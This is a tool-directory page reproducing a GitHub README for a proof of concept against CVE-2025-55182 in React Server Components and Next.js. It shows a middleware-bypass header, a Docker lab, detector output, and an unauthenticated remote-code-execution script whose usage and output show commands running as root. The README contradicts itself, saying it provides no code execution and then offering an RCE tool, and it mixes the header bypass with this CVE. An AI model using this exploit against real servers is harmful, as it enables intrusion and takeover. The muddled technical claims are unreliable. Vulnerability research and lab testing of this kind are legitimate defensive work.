Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-55182 — PoC: CVE-2025-55182 (React) and CVE-2025-66478 (Next.js) | Kitploit
Tools/GitHubGitHub/nehkark/cve-2025-55182
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubnehkark/cve-2025-55182

CVE-2025-55182

PoC: CVE-2025-55182 (React) and CVE-2025-66478 (Next.js)

View Repository
7219 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-55182 / CVE-2025-66478 — Next.js Middleware / RSC Bypass Analysis

The author assumes no liability for misuse or damage caused by this research
Provided strictly for educational and defensive purposes


Description

This repository contains a small laboratory and Proof-of-Concept analysis for CVE-2025-55182 and its duplicate CVE-2025-66478, related to Next.js React Server Components (RSC) and middleware authorization bypass behavior.

The goal of this PoC is to reproduce the internal request-flow conditions required for the vulnerability, analyze middleware behavior, and understand how x-middleware-subrequest affects protected routes under specific configurations.

This repository does not provide remote code execution
It provides a controlled environment to study:

  • Middleware authorization
  • RSC / Flight headers
  • App Router request flow
  • Bypass behavior under crafted headers

NVD currently classifies CVE-2025-66478 as:

root@kitploit:~
Rejected reason: This CVE is a duplicate of CVE-2025-55182

The behavior still exists; only the identifier changed during consolidation.


Attack Vector (Behavior Summary)

  1. A protected API route is enforced by middleware
  2. A normal request returns 403 Forbidden
  3. When adding:
root@kitploit:~
x-middleware-subrequest: 1
Download Tool
  1. The request may incorrectly return 200 OK
  2. Behavior depends on middleware layout, App Router, and RSC headers

Headers usually present in affected flows:

root@kitploit:~
X-Powered-By: Next.js
x-middleware-rewrite: /...
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url, Accept-Encoding

Laboratory Structure

root@kitploit:~
nextjs-vuln/
│
├── Dockerfile
├── package.json
├── middleware.js
│
└── app/
    ├── page/
    │   └── index.js
    │
    ├── protected/
    │   └── page.js
    │
    └── api/
        └── admin/
            └── secret/
                └── route.js

Running the Lab (Docker)

root@kitploit:~
docker build -t nextjs-vuln .
docker run -p 3000:3000 nextjs-vuln

PoC Script Usage

This repository includes a helper script NextJs.py for analyzing:

  • Normal vs bypass responses
  • Middleware changes
  • RSC / Flight header presence

Example:

root@kitploit:~
python3 NextJs.py -u http://localhost:3000
root@kitploit:~
krakhen@kapz:~$ python3 NextJs.py -u http://localhost:3000
Next.js React2Shell Passive Detector
------------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Timeout    : 10s
[+] TLS verify : enabled

=== Fingerprint ===
  - Next.js detected via headers.
  - React Server Components (RSC) detected.
  - Inferred Next.js generation: Next.js (generation unclear)

=== React2Shell Probe ===
  - Benign React Flight gadget executed and returned marker digest.
  - This strongly suggests React2Shell / CVE-2025-55182 style vulnerability.

=== Summary ===
Timestamp (UTC): 2025-12-05T22:04:25.089044+00:00
Target         : http://127.0.0.1:3000
HTTP status    : 500
Digest         : REACT2SHELL_PROBE
Verdict        : LIKELY_VULNERABLE to React2Shell-style exploit path

Response body (truncated):
0:{"a":"$@1","f":"","b":"development"} 1:E{"digest":"REACT2SHELL_PROBE","message":"NEXT_REDIRECT","stack":[],"env":"Server"}

Remote Code Exploit | PoC poc-cve-2025-55182.py

This tool allows you to execute remote code arbitrarily without authentication.

Usage:

  • python3 poc-cve-2025-55182.py -u http://host:port -c "command"
root@kitploit:~
krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "uname -a"
React2Shell PoC - CVE-2025-55182
---------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Command    : uname -a

[+] Sending crafted Flight payload...
[+] HTTP status: 500

[✓] RCE confirmed. Command output:

    Linux 5596495ec378 6.11.0-29-generic #29-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:29:41 UTC 2025 x86_64 Linux

krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "whoami"
React2Shell PoC - CVE-2025-55182
---------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Command    : whoami

[+] Sending crafted Flight payload...
[+] HTTP status: 500

[✓] RCE confirmed. Command output:

    root

krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "id"
React2Shell PoC - CVE-2025-55182
---------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Command    : id

[+] Sending crafted Flight payload...
[+] HTTP status: 500

[✓] RCE confirmed. Command output:

    uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Log Docker

root@kitploit:~

 POST / 500 in 10ms
 ⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
 ⨯ Internal error: Error: NEXT_REDIRECT
    at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:132)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "Linux 5596495ec378 6.11.0-29-generic #29-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:29:41 UTC 2025 x86_64 Linux"
  3156 |             return (
  3157 |               (obj = parseInt(value.slice(2), 16)),
> 3158 |               response._formData.get(response._prefix + obj)
       |                                  ^
  3159 |             );
  3160 |         }
  3161 |         switch (value[1]) {
 POST / 500 in 11ms
 ⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
 ⨯ Internal error: Error: NEXT_REDIRECT
    at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:130)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "root"
  3156 |             return (
  3157 |               (obj = parseInt(value.slice(2), 16)),
> 3158 |               response._formData.get(response._prefix + obj)
       |                                  ^
  3159 |             );
  3160 |         }
  3161 |         switch (value[1]) {
 POST / 500 in 11ms
 ⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
 ⨯ Internal error: Error: NEXT_REDIRECT
    at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:126)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"
  3156 |             return (
  3157 |               (obj = parseInt(value.slice(2), 16)),
> 3158 |               response._formData.get(response._prefix + obj)
       |                                  ^
  3159 |             );
  3160 |         }
  3161 |         switch (value[1]) {

Author & Contact

  • Researcher : krakhen.dev
  • GitHub : @nehkark
  • Email : [email protected]**
  • Website : https://vciso.cloud
  • ICQ : 24298753